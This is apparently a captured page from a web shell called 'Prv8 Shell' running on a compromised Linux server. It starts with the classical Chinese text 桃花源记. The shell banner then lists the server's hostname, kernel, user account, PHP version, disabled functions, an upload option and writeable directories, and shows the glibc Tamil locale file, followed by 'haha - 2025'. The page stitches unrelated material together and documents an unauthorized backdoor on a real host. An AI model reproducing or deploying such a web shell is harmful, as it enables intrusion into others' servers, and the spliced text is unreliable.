晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/i18n/locales/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/i18n/locales/ta_IN
comment_char %
escape_char /

% This file is part of the GNU C Library and contains locale data.
% The Free Software Foundation does not claim any copyright interest
% in the locale data contained in this file.  The foregoing does not
% affect the license of the GNU C Library as a whole.  It does not
% exempt you from the conditions of the license if your use would
% otherwise be governed by that license.

% Tamil language locale for India.
% Contributed by Kentaroh Noji <knoji@jp.ibm.com> and
% Tetsuji Orita <orita@jp.ibm.com>.
% Fixed day and month abbr & LC_NAME <sivaraj_d@hotmail.com>
% Added Madras Tamil Lexicon Collation Order: T. Vaseeharan <t_vasee@yahoo.com>

LC_IDENTIFICATION
title      "Tamil language locale for India"
source     "IBM Globalization Center of Competency, Yamato Software Laboratory"
address    "1623-14, Shimotsuruma, Yamato-shi, Kanagawa-ken, 242-8502, Japan"
contact    ""
email      "bug-glibc-locales@gnu.org"
tel         ""
fax         ""
language    "Tamil"
territory   "India"
revision    "1.0"
date        "2000,October,27 (XML source:2000,July,20)"

category "i18n:2012";LC_IDENTIFICATION
category "i18n:2012";LC_CTYPE
category "i18n:2012";LC_COLLATE
category "i18n:2012";LC_MONETARY
category "i18n:2012";LC_NUMERIC
category "i18n:2012";LC_TIME
category "i18n:2012";LC_MESSAGES
category "i18n:2012";LC_PAPER
category "i18n:2012";LC_NAME
category "i18n:2012";LC_ADDRESS
category "i18n:2012";LC_TELEPHONE
category "i18n:2012";LC_MEASUREMENT
END LC_IDENTIFICATION

LC_CTYPE
copy "i18n"

% Tamil uses the alternate digits U+0BE6..U+0BEF
outdigit <U0BE6>..<U0BEF>

% This is used in the scanf family of functions to read Tamil numbers
% using "%Id" and such.
map to_inpunct; /
  (<U0030>,<U0BE6>); /
  (<U0031>,<U0BE7>); /
  (<U0032>,<U0BE8>); /
  (<U0033>,<U0BE9>); /
  (<U0034>,<U0BEA>); /
  (<U0035>,<U0BEB>); /
  (<U0036>,<U0BEC>); /
  (<U0037>,<U0BED>); /
  (<U0038>,<U0BEE>); /
  (<U0039>,<U0BEF>);

translit_start
include  "translit_combining";""
translit_end
END LC_CTYPE

LC_COLLATE

% Copy the template from ISO/IEC 14651
copy "iso14651_t1"

END LC_COLLATE


LC_MONETARY
copy "hi_IN"
END LC_MONETARY


LC_NUMERIC
% This is the POSIX Locale definition for the LC_NUMERIC  category.
%
decimal_point          "."
thousands_sep          ","
grouping               3;2
%
END LC_NUMERIC


LC_TIME
% This is the POSIX Locale definition for the LC_TIME category
% generated by IBM Basic CountryPack Transformer.
% These are generated based on XML base Locale definition file
% for IBM Class for Unicode.
%
% Abbreviated weekday names (%a)
abday       "<U0B9E><U0BBE>";"<U0BA4><U0BBF>";/
            "<U0B9A><U0BC6>";"<U0BAA><U0BC1>";/
            "<U0BB5><U0BBF>";"<U0BB5><U0BC6>";/
            "<U0B9A>"
%
% Full weekday names (%A)
day         "<U0B9E><U0BBE><U0BAF><U0BBF><U0BB1><U0BC1>";"<U0BA4><U0BBF><U0B99><U0BCD><U0B95><U0BB3><U0BCD>";/
            "<U0B9A><U0BC6><U0BB5><U0BCD><U0BB5><U0BBE><U0BAF><U0BCD>";"<U0BAA><U0BC1><U0BA4><U0BA9><U0BCD>";/
            "<U0BB5><U0BBF><U0BAF><U0BBE><U0BB4><U0BA9><U0BCD>";"<U0BB5><U0BC6><U0BB3><U0BCD><U0BB3><U0BBF>";/
            "<U0B9A><U0BA9><U0BBF>"
%
% Abbreviated month names (%b)
abmon       "<U0B9C><U0BA9>.";"<U0BAA><U0BBF><U0BAA><U0BCD>.";/
            "<U0BAE><U0BBE><U0BB0><U0BCD>.";"<U0B8F><U0BAA><U0BCD>.";/
            "<U0BAE><U0BC7>";"<U0B9C><U0BC2><U0BA9><U0BCD>";/
            "<U0B9C><U0BC2><U0BB2><U0BC8>";"<U0B86><U0B95>.";/
            "<U0B9A><U0BC6><U0BAA><U0BCD>.";"<U0B85><U0B95><U0BCD>.";/
            "<U0BA8><U0BB5>.";"<U0B9F><U0BBF><U0B9A>."
%
% Full month names (%B)
mon         "<U0B9C><U0BA9><U0BB5><U0BB0><U0BBF>";"<U0BAA><U0BBF><U0BAA><U0BCD><U0BB0><U0BB5><U0BB0><U0BBF>";/
            "<U0BAE><U0BBE><U0BB0><U0BCD><U0B9A><U0BCD>";"<U0B8F><U0BAA><U0BCD><U0BB0><U0BB2><U0BCD>";/
            "<U0BAE><U0BC7>";"<U0B9C><U0BC2><U0BA9><U0BCD>";/
            "<U0B9C><U0BC2><U0BB2><U0BC8>";"<U0B86><U0B95><U0BB8><U0BCD><U0B9F><U0BCD>";/
            "<U0B9A><U0BC6><U0BAA><U0BCD><U0B9F><U0BAE><U0BCD><U0BAA><U0BB0><U0BCD>";"<U0B85><U0B95><U0BCD><U0B9F><U0BCB><U0BAA><U0BB0><U0BCD>";/
            "<U0BA8><U0BB5><U0BAE><U0BCD><U0BAA><U0BB0><U0BCD>";"<U0B9F><U0BBF><U0B9A><U0BAE><U0BCD><U0BAA><U0BB0><U0BCD>"
%
% Equivalent of AM PM
am_pm       "<U0B95><U0BBE><U0BB2><U0BC8>";"<U0BAE><U0BBE><U0BB2><U0BC8>"
%
% Appropriate date and time representation
d_t_fmt     "%A %d %B %Y %I:%M:%S %p %Z"
%
% Appropriate date representation
d_fmt       "%A %d %B %Y"
%
% Appropriate time representation
t_fmt       "%I:%M:%S  %Z"
%
% Appropriate 12 h time representation (%r)
t_fmt_ampm  "%I:%M:%S %p %Z"
%
week 7;19971130;1
END LC_TIME


LC_MESSAGES
yesexpr "^[+1yY<U0B86>]"
noexpr  "^[-0nN<U0B87>]"
yesstr  "<U0B86><U0BAE><U0BCD>"
nostr   "<U0B87><U0BB2><U0BCD><U0BB2><U0BC8>"
END LC_MESSAGES


LC_PAPER
copy "hi_IN"
END LC_PAPER


LC_NAME
% This is the ISO_IEC TR14652 Locale definition for the LC_NAME category
% generated by IBM Basic CountryPack Transformer.
%
%
name_fmt    "%p%t%f%t%g"
name_gen    ""
name_mr     "<U0BA4><U0BBF><U0BB0><U0BC1>"
name_mrs    "<U0BA4><U0BBF><U0BB0><U0BC1><U0BAE><U0BA4><U0BBF>"
name_miss   "<U0B9A><U0BC6><U0BB2><U0BCD><U0BB5><U0BBF>"
name_ms     "Ms."

END LC_NAME


LC_ADDRESS
% This is the ISO_IEC TR14652 Locale definition for the LC_ADDRESS category
% generated by IBM Basic CountryPack Transformer.
postal_fmt  "%z%c%T%s%b%e%r"
country_name "<U0B87><U0BA8><U0BCD><U0BA4><U0BBF><U0BAF><U0BBE>"
country_ab2 "IN"
country_ab3 "IND"
country_num 356
country_car    "IND"
lang_name   "<U0BA4><U0BAE><U0BBF><U0BB4><U0BCD>"
lang_ab      "ta"
lang_term    "tam"
lang_lib    "tam"
END LC_ADDRESS


LC_TELEPHONE
copy "hi_IN"
END LC_TELEPHONE


LC_MEASUREMENT
copy "hi_IN"
END LC_MEASUREMENT

haha - 2025